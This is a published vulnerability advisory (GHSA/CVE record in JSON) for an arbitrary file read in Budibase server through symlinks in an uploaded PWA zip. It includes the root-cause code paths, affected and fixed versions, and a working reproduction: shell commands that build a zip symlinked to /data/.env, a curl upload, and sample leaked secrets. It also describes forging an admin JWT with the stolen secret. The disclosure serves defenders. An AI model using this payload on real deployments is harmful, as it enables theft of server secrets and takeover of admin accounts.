CVE-2026-54352: @budibase/server Budibase Has Arbitrary File Read Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w7mq-r738-x278",
  "modified" : "2026-08-12T18:57:30Z",
  "published" : "2026-06-22T23:33:35Z",
  "aliases" : [ "CVE-2026-54352" ],
  "summary" : "Budibase has arbitrary file read by workspace-builder via PWA-zip symlink upload",
  "details" : "## Summary\n\n`POST /api/pwa/process-zip` at `packages/server/src/api/routes/static.ts:24` accepts a builder-uploaded `.zip`, extracts it with `extract-zip@2.0.1` into a temp directory, then for each entry listed in `icons.json` validates the icon path, opens it, and streams the bytes into MinIO. The resulting object is served back via `GET /api/assets/{appId}/pwa/{uuid}.png`.\n\n`extract-zip@2.0.1` preserves absolute symlink targets when restoring symlink entries. The icon-source validator at `packages/server/src/api/controllers/static/index.ts:259-268` resolves the icon source string against `baseDir` (`path.resolve`), checks `resolvedSrc.startsWith(baseDir + path.sep)` against that string, and calls `fs.existsSync(resolvedSrc)` which follows symbolic links to confirm the target exists. None of the three calls reject symbolic-link entries, so an entry stored at `baseDir/evil.png` but pointing at `/data/.env` passes the gate.\n\n`packages/backend-core/src/objectStore/objectStore.ts:302` then calls `(await fsp.open(path)).createReadStream()` on the resolved path. `fsp.open` follows the symlink, the target file's bytes stream into MinIO, and the response of the asset-fetch endpoint returns those bytes verbatim.\n\nResult: a workspace-level builder reads any file the server process can open (root inside the default Docker image, including `/data/.env` with `JWT_SECRET`, `INTERNAL_API_KEY`, `MINIO_*`, `REDIS_PASSWORD`, `COUCHDB_PASSWORD`, `DATABASE_URL`) by uploading one crafted PWA zip.\n\n## Affected\n\n`Budibase/budibase` server, `@budibase/server` package, `<= 3.39.0` (HEAD `feab995`, released 2026-05-20).\n\nReachable in stock self-hosted deployments. The default `budibase/budibase:latest` Docker image runs the Node server as `root` inside the container; the server process opens `/etc/passwd`, `/etc/shadow`, `/data/.env`, and every other root-readable file. Reachable from any account with the workspace-builder permission on at least one app.\n\nNot affected: managed cloud-hosted Budibase tenants where the file-system root is sandboxed away from secret material.\n\n## Root cause\n\n`packages/server/src/api/routes/static.ts:24`: `.post(\"/api/pwa/process-zip\", authorized(BUILDER), controller.processPWAZip)` exposes the endpoint to any workspace builder; the only permission required is `BUILDER`.\n\n`packages/server/src/api/controllers/static/index.ts:235`: `await extract(filePath, { dir: tempDir })` calls `extract-zip@2.0.1`, which preserves absolute symlink targets when restoring symlink entries.\n\n`packages/server/src/api/controllers/static/index.ts:259-268`: the icon validator (`path.resolve` + `resolvedSrc.startsWith(baseDir + path.sep)` + `fs.existsSync`) operates on the resolved string path and on `fs.existsSync` (which follows symbolic links). A symlink stored under `baseDir` whose target points anywhere reachable by the server passes the gate as long as the target exists.\n\n`packages/backend-core/src/objectStore/objectStore.ts:302`: `(await fsp.open(path)).createReadStream()` follows the symlink and streams the target file's bytes; the object lands in MinIO under `{appId}/pwa/{uuid}{extension}` and is served by `GET /api/assets/{appId}/pwa/{uuid}.{ext}` (`packages/server/src/api/routes/static.ts:21`).\n\n`hosting/single/Dockerfile`: the production single-container image runs the Node server as `root`, so the read primitive reaches `/etc/shadow`, `/data/.env`, and every other root-readable path.\n\n## Reproduction\n\n`budibase/budibase:latest` (`v3.39.0`) Docker single-container on `localhost:10000`, default config, with any workspace builder logged in. Cookie jar and `<CSRF>` token come from `GET /api/global/self`.\n\n1. Builder uploads a zip containing one symlink entry that targets `/data/.env`, plus an `icons.json` that references the symlink.\n\n```bash\nmkdir attack && cd attack\nln -s /data/.env evil.png\nprintf '{\"name\":\"x\",\"icons\":[{\"src\":\"evil.png\",\"sizes\":\"192x192\",\"type\":\"image/png\"}]}' > icons.json\nzip -y attack.zip icons.json evil.png\n\ncurl -s \"http://localhost:10000/api/pwa/process-zip\" \\\n  -b cookies.txt \\\n  -H \"x-budibase-app-id: <appId>\" \\\n  -H \"x-csrf-token: <CSRF>\" \\\n  -F \"file=@attack.zip\"\n```\n\n```json\n{\"icons\":[{\"src\":\"<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png\",\"sizes\":\"192x192\",\"type\":\"image/png\"}]}\n```\n\n2. Builder fetches the resulting \"icon\".\n\n```http\nGET /api/assets/<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png HTTP/1.1\nHost: localhost:10000\nCookie: budibase:auth=<JWT>; budibase:auth.sig=<SIG>\n```\n\n```\nCOUCHDB_USER=admin\nCOUCHDB_PASSWORD=admin\nMINIO_ACCESS_KEY=bd501fa31bf44a7e8beb6f7b628c6def\nMINIO_SECRET_KEY=bf754d8f29434fc997225e10f55de778\nINTERNAL_API_KEY=e9580f58b18b4371868aa3442c57522c\nJWT_SECRET=c5441dc903f845bdb93a98b949a612b2\nREDIS_PASSWORD=50739fb539504149a5fd85c85fe6750c\nDATABASE_URL=postgresql://llmproxy:...@127.0.0.1:5432/litellm\n```\n\nLive-verified: the response body of the asset-fetch endpoint is byte-identical to `docker exec budibase cat /data/.env`; `/etc/passwd` and `/etc/shadow` extract via the same primitive when their permissions allow root reads.\n\n## Impact\n\n- Disclosure of `/data/.env`: `JWT_SECRET`, `INTERNAL_API_KEY`, `MINIO_ACCESS_KEY`, `MINIO_SECRET_KEY`, `REDIS_PASSWORD`, `COUCHDB_PASSWORD`, `LITELLM_MASTER_KEY`, `DATABASE_URL`.\n- HS256 JWT forge with the leaked `JWT_SECRET` against any user id, including the global admin: scope-changing escalation from workspace-builder to global-admin.\n- Cross-tenant exposure on multi-tenant installs once the global-admin forge succeeds.\n- Disclosure of `/etc/passwd` and `/etc/shadow` via the same primitive when the container runs as `root` (the shipped default).\n\n## Credit\n\nJan Kahmen, [turingpoint](https://turingpoint.de) (jan@turingpoint.de).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@budibase/server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.39.9"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/security/advisories/GHSA-w7mq-r738-x278"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54352"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Budibase/budibase"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-59" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-22T23:33:35Z",
    "nvd_published_at" : "2026-06-26T21:16:35Z"
  }
}